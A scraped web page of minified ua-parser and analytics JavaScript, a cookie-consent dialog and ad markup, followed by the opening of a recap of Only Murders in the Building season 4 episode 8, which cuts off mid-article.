9)/i],[nt,[at,"HTC"],[rt,lt]],[/(htc)[-;_ ]{1,2}([\w ]+(?=\)| bui)|\w+)/i,/(zte)[- ]([\w ]+?)(?: bui|\/|\))/i,/(alcatel|geeksphone|nexian|panasonic(?!(?:;|\.))|sony(?!-bra))[-_ ]?([-\w]*)/i],[at,[nt,/_/g," "],[rt,dt]],[/droid.+; ([ab][1-7]-?[0178a]\d\d?)/i],[nt,[at,"Acer"],[rt,lt]],[/droid.+; (m[1-5] note) bui/i,/\bmz-([-\w]{2,})/i],[nt,[at,"Meizu"],[rt,dt]],[/; ((?:power )?armor(?:[\w ]{0,8}))(?: bui|\))/i],[nt,[at,"Ulefone"],[rt,dt]],[/(blackberry|benq|palm(?=\-)|sonyericsson|acer|asus|dell|meizu|motorola|polytron|infinix|tecno)[-_ ]?([-\w]*)/i,/(hp) ([\w ]+\w)/i,/(asus)-?(\w+)/i,/(microsoft); (lumia[\w ]+)/i,/(lenovo)[-_ ]?([-\w]+)/i,/(jolla)/i,/(oppo) ?([\w ]+) bui/i],[at,nt,[rt,dt]],[/(kobo)\s(ereader|touch)/i,/(archos) (gamepad2?)/i,/(hp).+(touchpad(?!.+tablet)|tablet)/i,/(kindle)\/([\w\.]+)/i],[at,nt,[rt,lt]],[/(surface duo)/i],[nt,[at,Kt],[rt,lt]],[/droid [\d\.]+; (fp\du?)(?: b|\))/i],[nt,[at,"Fairphone"],[rt,dt]],[/(shield[\w ]+) b/i],[nt,[at,"Nvidia"],[rt,lt]],[/(sprint) (\w+)/i],[at,nt,[rt,dt]],[/(kin\.[onetw]{3})/i],[[nt,/\./g," "],[at,Kt],[rt,dt]],[/droid.+; ([c6]+|et5[16]|mc[239][23]x?|vc8[03]x?)\)/i],[nt,[at,Qt],[rt,lt]],[/droid.+; (ec30|ps20|tc[2-8]\d[kx])\)/i],[nt,[at,Qt],[rt,dt]],[/smart-tv.+(samsung)/i],[at,[rt,pt]],[/hbbtv.+maple;(\d+)/i],[[nt,/^/,"SmartTV"],[at,Xt],[rt,pt]],[/(nux; netcast.+smarttv|lg (netcast\.tv-201\d|android tv))/i],[[at,jt],[rt,pt]],[/(apple) ?tv/i],[at,[nt,Bt+" TV"],[rt,pt]],[/crkey/i],[[nt,ii+"cast"],[at,Ft],[rt,pt]],[/droid.+aft(\w+)( bui|\))/i],[nt,[at,qt],[rt,pt]],[/\(dtv[\);].+(aquos)/i,/(aquos-tv[\w ]+)\)/i],[nt,[at,Jt],[rt,pt]],[/(bravia[\w ]+)( bui|\))/i],[nt,[at,Yt],[rt,pt]],[/(mitv-\w{5}) bui/i],[nt,[at,Zt],[rt,pt]],[/Hbbtv.*(technisat) (.*);/i],[at,nt,[rt,pt]],[/\b(roku)[\dx]*[\)\/]((?:dvp-)?[\d\.]*)/i,/hbbtv\/\d+\.\d+\.\d+ +\([\w\+ ]*; *([\w\d][^;]*);([^;]*)/i],[[at,ki],[nt,ki],[rt,pt]],[/\b(android tv|smart[- ]?tv|opera tv|tv; rv:)\b/i],[[rt,pt]],[/(ouya)/i,/(nintendo) (\w+)/i],[at,nt,[rt,ut]],[/droid.+; (shield) bui/i],[nt,[at,"Nvidia"],[rt,ut]],[/(playstation \w+)/i],[nt,[at,Yt],[rt,ut]],[/\b(xbox(?: one)?(?!; xbox))[\); ]/i],[nt,[at,Kt],[rt,ut]],[/((pebble))app/i],[at,nt,[rt,wt]],[/(watch)(?: ?os[,\/]|\d,\d\/)[\d\.]+/i],[nt,[at,Bt],[rt,wt]],[/droid.+; (wt63?0{2,3})\)/i],[nt,[at,Qt],[rt,wt]],[/droid.+; (glass) \d/i],[nt,[at,Ft],[rt,"xr"]],[/(quest( \d| pro)?)/i],[nt,[at,ri],[rt,"xr"]],[/(tesla)(?: qtcarbrowser|\/[-\w\.]+)/i],[at,[rt,mt]],[/(aeobc)\b/i],[nt,[at,qt],[rt,mt]],[/droid .+?; ([^;]+?)(?: bui|; wv\)|\) applew).+? mobile safari/i],[nt,[rt,dt]],[/droid .+?; ([^;]+?)(?: bui|\) applew).+?(?! mobile) safari/i],[nt,[rt,lt]],[/\b((tablet|tab)[;\/]|focus\/\d(?!.+mobile))/i],[[rt,lt]],[/(phone|mobile(?:[;\/]| [ \w\/\.]*safari)|pda(?=.+windows ce))/i],[[rt,dt]],[/(android[-\w\. ]{0,9});.+buil/i],[nt,[at,"Generic"]]],engine:[[/windows.+ edge\/([\w\.]+)/i],[st,[ot,"EdgeHTML"]],[/webkit\/537\.36.+chrome\/(?!27)([\w\.]+)/i],[st,[ot,"Blink"]],[/(presto)\/([\w\.]+)/i,/(webkit|trident|netfront|netsurf|amaya|lynx|w3m|goanna)\/([\w\.]+)/i,/ekioh(flow)\/([\w\.]+)/i,/(khtml|tasman|links)[\/ ]\(?([\w\.]+)/i,/(icab)[\/ ]([23]\.[\d\.]+)/i,/\b(libweb)/i],[ot,st],[/rv\:([\w\.]{1,9})\b.+(gecko)/i],[st,ot]],os:[[/microsoft (windows) (vista|xp)/i],[ot,st],[/(windows (?:phone(?: os)?|mobile))[\/ ]?([\d\.\w ]*)/i],[ot,[st,Ti,Ei]],[/windows nt 6\.2; (arm)/i,/windows[\/ ]?([ntce\d\. ]+\w)(?!.+xbox)/i,/(?:win(?=3|9|n)|win 9x )([nt\d\.]+)/i],[[st,Ti,Ei],[ot,si]],[/ip[honead]{2,4}\b(?:.*os ([\w]+) like mac|; opera)/i,/(?:ios;fbsv\/|iphone.+ios[\/ ])([\d\.]+)/i,/cfnetwork\/.+darwin/i],[[st,/_/g,"."],[ot,"iOS"]],[/(mac os x) ?([\w\. ]*)/i,/(macintosh|mac_powerpc\b)(?!.+haiku)/i],[[ot,"macOS"],[st,/_/g,"."]],[/droid ([\w\.]+)\b.+(android[- ]x86|harmonyos)/i],[st,ot],[/(android|webos|qnx|bada|rim tablet os|maemo|meego|sailfish)[-\/ ]?([\w\.]*)/i,/(blackberry)\w*\/([\w\.]*)/i,/(tizen|kaios)[\/ ]([\w\.]+)/i,/\((series40);/i],[ot,st],[/\(bb(10);/i],[st,[ot,Vt]],[/(?:symbian ?os|symbos|s60(?=;)|series60)[-\/ ]?([\w\.]*)/i],[st,[ot,"Symbian"]],[/mozilla\/[\d\.]+ \((?:mobile|tablet|tv|mobile; [\w ]+); rv:.+ gecko\/([\w\.]+)/i],[st,[ot,ni+" OS"]],[/web0s;.+rt(tv)/i,/\b(?:hp)?wos(?:browser)?\/([\w\.]+)/i],[st,[ot,"webOS"]],[/watch(?: ?os[,\/]|\d,\d\/)([\d\.]+)/i],[st,[ot,"watchOS"]],[/crkey\/([\d\.]+)/i],[st,[ot,ii+"cast"]],[/(cros) [\w]+(?:\)| ([\w\.]+)\b)/i],[[ot,"Chrome OS"],st],[/panasonic;(viera)/i,/(netrange)mmh/i,/(nettv)\/(\d+\.[\w\.]+)/i,/(nintendo|playstation) (\w+)/i,/(xbox); +xbox ([^\);]+)/i,/\b(joli|palm)\b ?(?:os)?\/?([\w\.]*)/i,/(mint)[\/\(\) ]?(\w*)/i,/(mageia|vectorlinux)[; ]/i,/([kxln]?ubuntu|debian|suse|opensuse|gentoo|arch(?= linux)|slackware|fedora|mandriva|centos|pclinuxos|red ?hat|zenwalk|linpus|raspbian|plan 9|minix|risc os|contiki|deepin|manjaro|elementary os|sabayon|linspire)(?: gnu\/linux)?(?: enterprise)?(?:[- ]linux)?(?:-gnu)?[-\/ ]?(?!chrom|package)([-\w\.]*)/i,/(hurd|linux) ?([\w\.]*)/i,/(gnu) ?([\w\.]*)/i,/\b([-frentopcghs]{0,5}bsd|dragonfly)[\/ ]?(?!amd|[ix346]{1,2}86)([\w\.]*)/i,/(haiku) (\w+)/i],[ot,st],[/(sunos) ?([\w\.\d]*)/i],[[ot,"Solaris"],st],[/((?:open)?solaris)[-\/ ]?([\w\.]*)/i,/(aix) ((\d)(?=\.|\)| )[\w\.])*/i,/\b(beos|os\/2|amigaos|morphos|openvms|fuchsia|hp-ux|serenityos)/i,/(unix) ?([\w\.]*)/i],[ot,st]]},Ii=(Je={init:{},isIgnore:{},isIgnoreRgx:{},toString:{}},gi.call(Je.init,[[Pt,[ot,st,it,rt]],[Lt,[ct]],[Rt,[rt,nt,at]],[Ut,[ot,st]],[Mt,[ot,st]]]),gi.call(Je.isIgnore,[[Pt,[st,it]],[Ut,[st]],[Mt,[st]]]),gi.call(Je.isIgnoreRgx,[[Pt,/ ?browser$/i],[Mt,/ ?os$/i]]),gi.call(Je.toString,[[Pt,[ot,st]],[Lt,[ct]],[Rt,[at,nt]],[Ut,[ot,st]],[Mt,[ot,st]]]),Je),Ci=function(e,t){var i=Ii.init[t],n=Ii.isIgnore[t]||0,o=Ii.isIgnoreRgx[t]||0,r=Ii.toString[t]||0;function a(){gi.call(this,i)}return a.prototype.getItem=function(){return e},a.prototype.withClientHints=function(){return ui?ui.getHighEntropyValues(Dt).then((function(t){return e.setCH(new Ai(t,!1)).parseCH().get()})):e.parseCH().get()},a.prototype.withFeatureCheck=function(){return e.detectFeature().get()},t!=$t&&(a.prototype.is=function(e){var t=!1;for(var i in this)if(this.hasOwnProperty(i)&&!pi(n,i)&&bi(o?vi(o,this[i]):this[i])==bi(o?vi(o,e):e)){if(t=!0,e!=Qe)break}else if(e==Qe&&t){t=!t;break}return t},a.prototype.toString=function(){var e=Ye;for(var t in r)typeof this[r[t]]!==Qe&&(e+=(e?" ":Ye)+this[r[t]]);return e||Qe}),ui||(a.prototype.then=function(e){var t=this,i=function(){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e])};i.prototype={is:a.prototype.is,toString:a.prototype.toString};var n=new i;return e(n),n}),new a};function Ai(e,t){if(e=e||{},gi.call(this,Dt),t)gi.call(this,[[ht,fi(e[Tt])],[vt,fi(e[Et])],[dt,/\?1/.test(e[Ct])],[nt,yi(e[At])],[yt,yi(e[Nt])],[kt,yi(e[Ot])],[ct,yi(e[_t])],[gt,fi(e[It])],[St,yi(e[xt])]]);else for(var i in e)this.hasOwnProperty(i)&&typeof e[i]!==Qe&&(this[i]=e[i])}function Ni(e,t,i,n){return this.get=function(e){return e?this.data.hasOwnProperty(e)?this.data[e]:void 0:this.data},this.set=function(e,t){return this.data[e]=t,this},this.setCH=function(e){return this.uaCH=e,this},this.detectFeature=function(){if(ci&&ci.userAgent==this.ua)switch(this.itemType){case Pt:ci.brave&&typeof ci.brave.isBrave==Ze&&this.set(ot,"Brave");break;case Rt:!this.get(rt)&&ui&&ui[dt]&&this.set(rt,dt),"Macintosh"==this.get(nt)&&ci&&typeof ci.standalone!==Qe&&ci.maxTouchPoints&&ci.maxTouchPoints>2&&this.set(nt,"iPad").set(rt,lt);break;case Mt:!this.get(ot)&&ui&&ui[yt]&&this.set(ot,ui[yt]);break;case $t:var e=this.data,t=function(t){return e[t].getItem().detectFeature().get()};this.set(Pt,t(Pt)).set(Lt,t(Lt)).set(Rt,t(Rt)).set(Ut,t(Ut)).set(Mt,t(Mt))}return this},this.parseUA=function(){return this.itemType!=$t&&Si.call(this.data,this.ua,this.rgxMap),this.itemType==Pt&&this.set(it,hi(this.get(st))),this},this.parseCH=function(){var e=this.uaCH,t=this.rgxMap;switch(this.itemType){case Pt:var i,n=e[vt]||e[ht];if(n)for(var o in n){var r=vi(/(Google|Microsoft) /,n[o].brand||n[o]),a=n[o].version;/not.a.brand/i.test(r)||i&&(!/chrom/i.test(i)||/chromi/i.test(r))||(this.set(ot,r).set(st,a).set(it,hi(a)),i=r)}break;case Lt:var s=e[ct];s&&(s&&"64"==e[St]&&(s+="64"),Si.call(this.data,s+";",t));break;case Rt:if(e[dt]&&this.set(rt,dt),e[nt]&&this.set(nt,e[nt]),"Xbox"==e[nt]&&this.set(rt,ut).set(at,Kt),e[gt]){var c;if("string"!=typeof e[gt])for(var u=0;!c&&u<e[gt].length;)c=Ti(e[gt][u++],_i);else c=Ti(e[gt],_i);this.set(rt,c)}break;case Mt:var d=e[yt];if(d){var l=e[kt];d==si&&(l=parseInt(hi(l),10)>=13?"11":"10"),this.set(ot,d).set(st,l)}this.get(ot)==si&&"Xbox"==e[nt]&&this.set(ot,"Xbox").set(st,void 0);break;case $t:var p=this.data,w=function(t){return p[t].getItem().setCH(e).parseCH().get()};this.set(Pt,w(Pt)).set(Lt,w(Lt)).set(Rt,w(Rt)).set(Ut,w(Ut)).set(Mt,w(Mt))}return this},gi.call(this,[["itemType",e],["ua",t],["uaCH",n],["rgxMap",i],["data",Ci(this,e)]]),this}function Oi(e,t,i){if(typeof e===et?(wi(e,!0)?(typeof t===et&&(i=t),t=e):(i=e,t=void 0),e=void 0):typeof e!==tt||wi(t,!0)||(i=t,t=void 0),!(this instanceof Oi))return new Oi(e,t,i).getResult();var n=typeof e===tt?e:ci&&ci.userAgent?ci.userAgent:i&&i[ft]?i[ft]:Ye,o=new Ai(i,!0),r=t?di(xi,t):xi,a=function(e){return e==$t?function(){return new Ni(e,n,r,o).set("ua",n).set(Pt,this.getBrowser()).set(Lt,this.getCPU()).set(Rt,this.getDevice()).set(Ut,this.getEngine()).set(Mt,this.getOS()).get()}:function(){return new Ni(e,n,r[e],o).parseUA().get()}};return gi.call(this,[["getBrowser",a(Pt)],["getCPU",a(Lt)],["getDevice",a(Rt)],["getEngine",a(Ut)],["getOS",a(Mt)],["getResult",a($t)],["getUA",function(){return n}],["setUA",function(e){return mi(e)&&(n=e.length>bt?ki(e,bt):e),this}]]).setUA(n),this}Oi.VERSION="2.0.0-beta.3",Oi.BROWSER=li([ot,st,it,rt]),Oi.CPU=li([ct]),Oi.DEVICE=li([nt,at,rt,ut,dt,pt,lt,wt,mt]),Oi.ENGINE=Oi.OS=li([ot,st]);const Di=()=>{const e=navigator.userAgent;return/(tablet|ipad|playbook|silk)|(android(?!.*mobi))/i.test(e)?"tablet":/Mobile|iP(hone|od)|Android|BlackBerry|IEMobile|Kindle|Silk-Accelerated|(hpw|web)OS|Opera M(obi|ini)/.test(e)?"mobile":"desktop"};e.pubstackAutoconfig=async function(e){if(void 0===e.endpoint.gateway)return void a("[pbstckAutoconfig] no gateway url found in config");const t={gateway:e.endpoint.gateway,env:(i=e.endpoint.gateway,i.includes(x.DEV)?x.DEV:i.includes(x.BETA)?x.BETA:x.PROD),sessionTrackingDisabled:e.sessionTrackingDisabled??!1};var i;try{const i=window.top||window;i.pbstck=i.pbstck||{lock:{}},i.pbstck.lock=i.pbstck.lock||{};const n=`${e.tagId}@${t.env}@user-sessions`;if(i.pbstck.lock[n])return;i.pbstck.lock[n]=!0}catch(e){a("[pbstckAutoconfig] error while locking the integration",e)}const n=new Oi(navigator.userAgent),o=n.getOS(),s=n.getBrowser(),u={tagId:e.tagId,scopeId:e.scopeId,country:e.country,device:Di(),browserName:s.name||"unknown",browserVersion:s.major||"unknown",osName:o.name||"unknown",osVersion:o.version||"unknown",pbstckVersion:"unknown",customFields:c()},d=new Promise((e=>{setTimeout((()=>{e()}),300)})),l=(async()=>{try{return await(navigator?.cookieDeprecationLabel?.getValue())}catch(e){r("Error while getting cookie depreciation label",e)}})();await Promise.all([l,d]).then((e=>{const t=e[0]??"";t&&(u.customFields.cdep=t)})),u.tagId&&u.scopeId?(w(p.REPLACE_STATE),w(p.PUSH_STATE),(e=>{j(window,e)})(t),Xe(t,u),H(t,u)):a("[pbstckAutoconfig] no tagId or scopeId found in context")}}(this.userSessions=this.userSessions||{});
;
 return this;}.bind({}); var _ = load();_.userSessions.pubstackAutoconfig({"endpoint":{"script":"https://cdn.pbstck.com/user-sessions-a0669e4.js","gateway":"https://intake.pbstck.com/v1/intake"},"scopeId":"09fe7e10-8d2e-4ff3-9184-bb2e71f2ab74","tagId":"35f9d12f-848e-402e-9a86-f9ddb67d897c","sessionTrackingDisabled":true}); })()</script><style type="text/css"> .qc-cmp-button.qc-cmp-secondary-button:hover {    background-color: #368bd6 !important;    border-color: transparent !important;  }  .qc-cmp-button.qc-cmp-secondary-button:hover {    color: #ffffff !important;  }  .qc-cmp-button.qc-cmp-secondary-button {    color: #368bd6 !important;  }  .qc-cmp-button.qc-cmp-secondary-button {    background-color: #eee !important;    border-color: transparent !important;  } #qc-cmp2-ui .qc-cmp2-close {left: 20px; flex-direction: row;}#qc-cmp2-ui .qc-cmp2-close-tooltip { font-size: 10px;}#qc-cmp2-ui .qc-cmp2-close-icon {height: 15px; width: 15px;}@media (max-width: 360px){ #qc-cmp2-ui{ max-height:70%; position:fixed; bottom:0px} .qc-cmp2-close{width:15px; height:15px} }@media(max-width:767px){ #qc-cmp2-ui{ max-height:70%; position:fixed; bottom:0px} .qc-cmp2-close{width:15px; height:15px} } .qc-cmp-button { background-color: #4D6094 !important; border-color: #4D6094 !important; } .qc-cmp-button:hover { border-color: #4D6094 !important; } .qc-cmp-alt-action, .qc-cmp-link { color: #4D6094 !important; } #qc-cmp2-ui .qc-cmp2-close {left: 20px; flex-direction: row;}#qc-cmp2-ui .qc-cmp2-close-tooltip { font-size: 10px;}#qc-cmp2-ui .qc-cmp2-close-icon {height: 15px; width: 15px;}onesignal-popover-container, #onesignal-slidedown-container { z-index: 2258!important; }</style><script type="text/javascript" id="__tcfapiuiscript" src="https://cmp.inmobi.com/tcfv2/53/cmp2ui-en.js"></script><style qc-data-emotion="css-global" data-s=""></style><style qc-data-emotion="css" data-s=""></style><script async="" src="https://fundingchoicesmessages.google.com/f/AGSKWxUrFc4EUo1UDQ4Al3ncD3V-Hbo3Ob0l3BvWRdFLfC4pZzfrK24keV_KuuADpvsXIaEUCL7JicUAdKszqvSnSmlCSWbV4fmSCHyKSpxpOZSWARvp_yJ14r4aa3YyoWtcVjttCoHXtw==?fccs=W251bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFsxNzI4OTc5MzkyLDEyNzAwMDAwMF0sbnVsbCxudWxsLG51bGwsW251bGwsWzddXSwiaHR0cHM6Ly9vdGF2by50di9vbmx5LW11cmRlcnMtaW4tdGhlLWJ1aWxkaW5nLXNlYXNvbi00LWVwaXNvZGUtOC1yZWNhcC8iLG51bGwsW1s4LCJlTEcyNk16LUI1VSJdLFs5LCJlbi1VUyJdLFsxOCwiW1tbMF1dXSJdLFsxOSwiMSJdLFsxNywiWzBdIl1dXQ"></script></head>

<body data-rsssl="1" class="post-template-default single single-post postid-22231 single-format-standard td-standard-pack" itemscope="itemscope" itemtype="https://schema.org/WebPage"><div class="qc-cmp2-container" id="qc-cmp2-container" data-nosnippet=""><div class="qc-cmp2-main" id="qc-cmp2-main" data-nosnippet=""><div height="600" class="qc-cmp-cleanslate css-1m0wtjn"><div id="qc-cmp2-ui" role="dialog" aria-label="qc-cmp2-ui" aria-modal="true" tabindex="0" class="css-5yw3x1"><div class="qc-cmp2-close"><button class="qc-cmp2-close-icon" aria-label="DISAGREE"></button><span class="qc-cmp2-close-tooltip">DISAGREE</span></div><div class="qc-cmp2-summary-section"><div class="qc-cmp2-consent-info"><div class="qc-cmp2-publisher-logo-container"><figure><h2>We value your privacy</h2></figure><div class="qc-cmp2-summary-info "><div class=""> We and our <button mode="link" class="qc-cmp2-link-inline css-1sjf9qp" size="large">partners</button> store and/or access information on a device, such as cookies and process personal data, such as unique identifiers and standard information sent by a device for personalised advertising and content, advertising and content measurement, audience research and services development.  With your permission we and our partners may use precise geolocation data and identification through device scanning. You may click to consent to our and our 1444 partners’ processing as described above. Alternatively you may access more detailed information and change your preferences before consenting or to refuse consenting.  Please note that some processing of your personal data may not require your consent, but you have a right to object to such processing. Your preferences will apply to this website only. You can change your preferences or withdraw your consent at any time by returning to this site and clicking the "Privacy" button at the bottom of the webpage. <div> Please note that this website/app uses one or more Google services and may gather and store information including but not limited to your visit or usage behaviour. You may click to grant or deny consent to Google and its third-party tags to use your data for below specified purposes in below Google consent section.</div></div></div></div></div></div><div class="qc-cmp2-footer qc-cmp2-footer-overlay qc-cmp2-footer-scrolled"><div class="qc-cmp2-summary-buttons"><button mode="secondary" size="large" class=" css-1hy2vtq"><span>MORE OPTIONS</span></button><button mode="primary" size="large" class=" css-47sehv"><span>AGREE</span></button></div></div></div></div></div></div>


    
        <div class="td-scroll-up"><i class="td-icon-menu-up"></i></div>

    <div class="td-menu-background" style="visibility:hidden"></div>
<div id="td-mobile-nav" style="visibility:hidden">
    <div class="td-mobile-container">
        <!-- mobile menu top section -->
        <div class="td-menu-socials-wrap">
            <!-- socials -->
            <div class="td-menu-socials">
                                </div>
            <!-- close button -->
            <div class="td-mobile-close">
                <span><i class="td-icon-close-mobile"></i></span>
            </div>
        </div>

        <!-- login section -->
        
        <!-- menu section -->
        <div class="td-mobile-content">
            <ul class=""><li class="menu-item-first"><a href="https://otavo.tv/wp-admin/nav-menus.php">Click here - to use the wp menu builder</a></li></ul>        </div>
    </div>

    <!-- register/login section -->
    </div>    <div class="td-search-background" style="visibility:hidden"></div>
<div class="td-search-wrap" style="visibility:hidden">
	<div class="td-drop-down-search">
		<form method="get" class="td-search-form" action="https://otavo.tv/">
			<!-- close button -->
			<div class="td-search-close">
				<span><i class="td-icon-close-mobile"></i></span>
			</div>
			
				<div role="search" class="td-search-input">
				<span>Search</span>

					<input id="td-header-search" type="text" value="" name="s" autocomplete="off">
					<input class="wpb_button wpb_btn-inverse btn" type="submit" id="td-header-search-top" value="Search">
				</div>

			
		</form>
		<div id="td-aj-search"></div>
	</div>
</div>
    <div id="td-outer-wrap">
        <div class="td-header-wrap">
            <div class="td-container">
                <div id="td-header-menu">
    <div id="td-top-mobile-toggle"><span><i class="td-icon-font td-icon-mobile"></i></span></div>
    <div class="td-main-menu-logo">
                    <a class="td-header-logo" aria-label="Logo" href="https://otavo.tv/">
                <img src="https://otavo.tv/wp-content/uploads/2022/09/logo.png" alt="" title="Otavo TV" width="" height="">
            </a>
            </div>
    <!-- Search -->
    <div class="td-search-icon">
            <span id="td-header-search-button"><i class="td-icon-search"></i></span>
    </div>
</div>

            </div>
        </div>

        
	<div class="td-container">

	    <!-- breadcrumbs -->
	    <div class="td-crumb-container"><div class="entry-crumbs"><span><a title="" class="entry-crumb" href="https://otavo.tv/">Home</a></span> <i class="td-icon-right td-bread-sep"></i> <span><a title="View all posts in Hulu" class="entry-crumb" href="https://otavo.tv/category/hulu/">Hulu</a></span> <i class="td-icon-right td-bread-sep"></i> <span><a title="View all posts in Only Murders In The Building" class="entry-crumb" href="https://otavo.tv/category/hulu/only-murders-in-the-building/">Only Murders In The Building</a></span> <i class="td-icon-right td-bread-sep td-bred-no-url-last"></i> <span class="td-bred-no-url-last">Only Murders in the Building Season 4 Episode 8 Recap</span></div></div>

	    <!-- post content -->
	    
	    <article id="post-22231" class="post-22231 post type-post status-publish format-standard category-only-murders-in-the-building tag-only-murders-in-the-building-dudenoffs-deaths-truth tag-only-murders-in-the-building-recap tag-only-murders-in-the-building-s4e8-recap tag-only-murders-in-the-building-season-4-episode-8-recap tag-only-murders-s4e8-recap tag-only-murders-season-4-dudenoffs-deaths-truth tag-only-murders-season-4-episode-8-recap" itemscope="" itemtype="https://schema.org/Article">
		    <div class="td-post-header">

			    <ul class="td-category"><li class="entry-category"><a href="https://otavo.tv/category/hulu/">Hulu</a></li><li class="entry-category"><a href="https://otavo.tv/category/hulu/only-murders-in-the-building/">Only Murders In The Building</a></li></ul>
			    <header class="td-post-title">
				    <h1 class="entry-title">Only Murders in the Building Season 4 Episode 8 Recap</h1>
				    
				    <div class="td-module-meta-info">
					    <div class="td-post-author-name"><div class="td-author-by">By</div> <a href="https://otavo.tv/author/naviharldh188/">Teresa Frazer</a><div class="td-author-line"> - </div> </div>					    <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2024-10-15T07:59:52+00:00">October 15, 2024</time></span>                                                <div class="td-post-comments"><a href="https://otavo.tv/only-murders-in-the-building-season-4-episode-8-recap/#respond"><i class="td-icon-commenting"></i>0</a></div>					    <div class="td-post-views"><i class="td-icon-views"></i><span class="td-nr-views-22231">1</span></div>				    </div>
			    </header>

		    </div>

		    <div class="td-post-content">

			    <div class="td-post-featured-image"><a href="https://otavo.tv/wp-content/uploads/2024/10/Only-Murders-In-The-Building-4x8-Recap-.jpg" data-caption=""><img width="696" height="404" class="entry-thumb td-modal-image" src="https://otavo.tv/wp-content/uploads/2024/10/Only-Murders-In-The-Building-4x8-Recap--696x404.jpg" srcset="https://otavo.tv/wp-content/uploads/2024/10/Only-Murders-In-The-Building-4x8-Recap--696x404.jpg 696w, https://otavo.tv/wp-content/uploads/2024/10/Only-Murders-In-The-Building-4x8-Recap--300x174.jpg 300w, https://otavo.tv/wp-content/uploads/2024/10/Only-Murders-In-The-Building-4x8-Recap--1024x594.jpg 1024w, https://otavo.tv/wp-content/uploads/2024/10/Only-Murders-In-The-Building-4x8-Recap--768x445.jpg 768w, https://otavo.tv/wp-content/uploads/2024/10/Only-Murders-In-The-Building-4x8-Recap--150x87.jpg 150w, https://otavo.tv/wp-content/uploads/2024/10/Only-Murders-In-The-Building-4x8-Recap-.jpg 1062w" sizes="(max-width: 696px) 100vw, 696px" alt="Only Murders In The Building 4x8 Recap-" title="Only Murders In The Building 4x8 Recap-"></a></div>			    <div class="td-post-sharing-top"><div id="td_social_sharing_article_top" class="td-post-sharing td-ps-bg td-ps-notext td-post-sharing-style1 "><div class="td-post-sharing-visible"><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-facebook" href="https://www.facebook.com/sharer.php?u=https%3A%2F%2Fotavo.tv%2Fonly-murders-in-the-building-season-4-episode-8-recap%2F" title="Facebook"><div class="td-social-but-icon"><i class="td-icon-facebook"></i></div><div class="td-social-but-text">Facebook</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-twitter" href="https://twitter.com/intent/tweet?text=Only+Murders+in+the+Building+Season+4+Episode+8+Recap&amp;url=https%3A%2F%2Fotavo.tv%2Fonly-murders-in-the-building-season-4-episode-8-recap%2F&amp;via=Otavo+TV" title="Twitter"><div class="td-social-but-icon"><i class="td-icon-twitter"></i></div><div class="td-social-but-text">Twitter</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-pinterest" href="https://pinterest.com/pin/create/button/?url=https://otavo.tv/only-murders-in-the-building-season-4-episode-8-recap/&amp;media=https://otavo.tv/wp-content/uploads/2024/10/Only-Murders-In-The-Building-4x8-Recap-.jpg&amp;description=Only+Murders+in+the+Building+Season+4+Episode+8+Recap" title="Pinterest"><div class="td-social-but-icon"><i class="td-icon-pinterest"></i></div><div class="td-social-but-text">Pinterest</div></a><a class="td-social-sharing-button td-social-sharing-button-js td-social-network td-social-whatsapp" href="https://api.whatsapp.com/send?text=Only+Murders+in+the+Building+Season+4+Episode+8+Recap %0A%0A https://otavo.tv/only-murders-in-the-building-season-4-episode-8-recap/" title="WhatsApp"><div class="td-social-but-icon"><i class="td-icon-whatsapp"></i></div><div class="td-social-but-text">WhatsApp</div></a></div><div class="td-social-sharing-hidden"><ul class="td-pulldown-filter-list"></ul><a class="td-social-sharing-button td-social-handler td-social-expand-tabs" href="#" data-block-uid="td_social_sharing_article_top" title="More">
                                    <div class="td-social-but-icon"><i class="td-icon-plus td-social-expand-tabs-icon"></i></div>
                                </a></div></div></div>			    <p>The shocking revelation of—Dudenoff’s death’s truth is revealed in the eighth and final episode of <a href="https://otavo.tv/category/hulu/only-murders-in-the-building/"><strong>Only Murders in the Building</strong></a> Season 4. There are a lot of twists in this show that not only solve the mystery of Dudenoff but also point to a new person who may have killed Sazz Pataki.</p>
<h2>Only Murders in the Building Season 4 Episode 8 Recap</h2>
<p>At the beginning of the show, Mabel (<strong><a href="https://en.wikipedia.org/wiki/Selena_Gomez" target="_blank" rel="noopener nofollow external noreferrer" data-wpel-link="external">Selena Gomez</a></strong>), Charles (<strong><a href="https://en.wikipedia.org/wiki/Martin_Short" target="_blank" rel="noopener nofollow external noreferrer" data-wpel-link="external">Martin Short</a></strong>), and Oliver played by<strong> <a href="https://en.wikipedia.org/wiki/Steve_Martin" target="_blank" rel="noopener nofollow external noreferrer" data-wpel-link="external">Steve Martin </a></strong>are still shocked by what they learned about the Westies and how they are connected to Dudenoff. As they think about what to do next, they decide to beat the Westies at a card game at Oliver’s place. They think the Westies have been hiding something important so the stakes are high, and their meeting quickly turns into a tense fight.</p>
<p>When the Westies first show up, they seem nice, but things get scary when Vince locks the door and Rudy pulls out a knife. The mood changes when everyone in the group sees they are in a dangerous situation. Ana takes everyone’s phones to stop them from talking to each other. As the Westies tell their stories — the tension is obvious. They vehemently deny having anything to do with Dudenoff’s death, saying that he had moved to Portugal.</p><div class="code-block code-block-2" style="margin: 8px 0; clear: both;">
<script async="" src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8058393775546814" crossorigin="anonymous" data-checked-head="true"></script>
<!-- Otavo TV Auto -->
<ins class="adsbygoogle" style="display: block; height: 280px;" data-ad-client="ca-pub-8058393775546814" data-ad-slot="6330092711" data-ad-format="auto" data-full-width-responsive="true" data-adsbygoogle-status="done"><div id="aswift_1_host" style="border: none; height: 280px; width: 760px; margin: 0px; padding: 0px; position: relative; visibility: visible; background-color: transparent; display: inline-block;"></div></ins>
<script>
     (adsbygoogle = window.adsbygoogle || []).push({});
</script></div>

<h2>The Meaning of the Ding-Dong</h2>
<p>In an unexpected turn of events, Mabel and the others decide to call Helga, who has her own ideas about Dudenoff. This idea comes from a daytime show. She thinks of the good times she had with him, but she quickly starts to doubt the Westies. Helga talks about her relationship with—Dudenoff and how she got a note from him right before he left. In it, he asked her to be worried about him because she had seen that his Westies were acting strangely.</p>
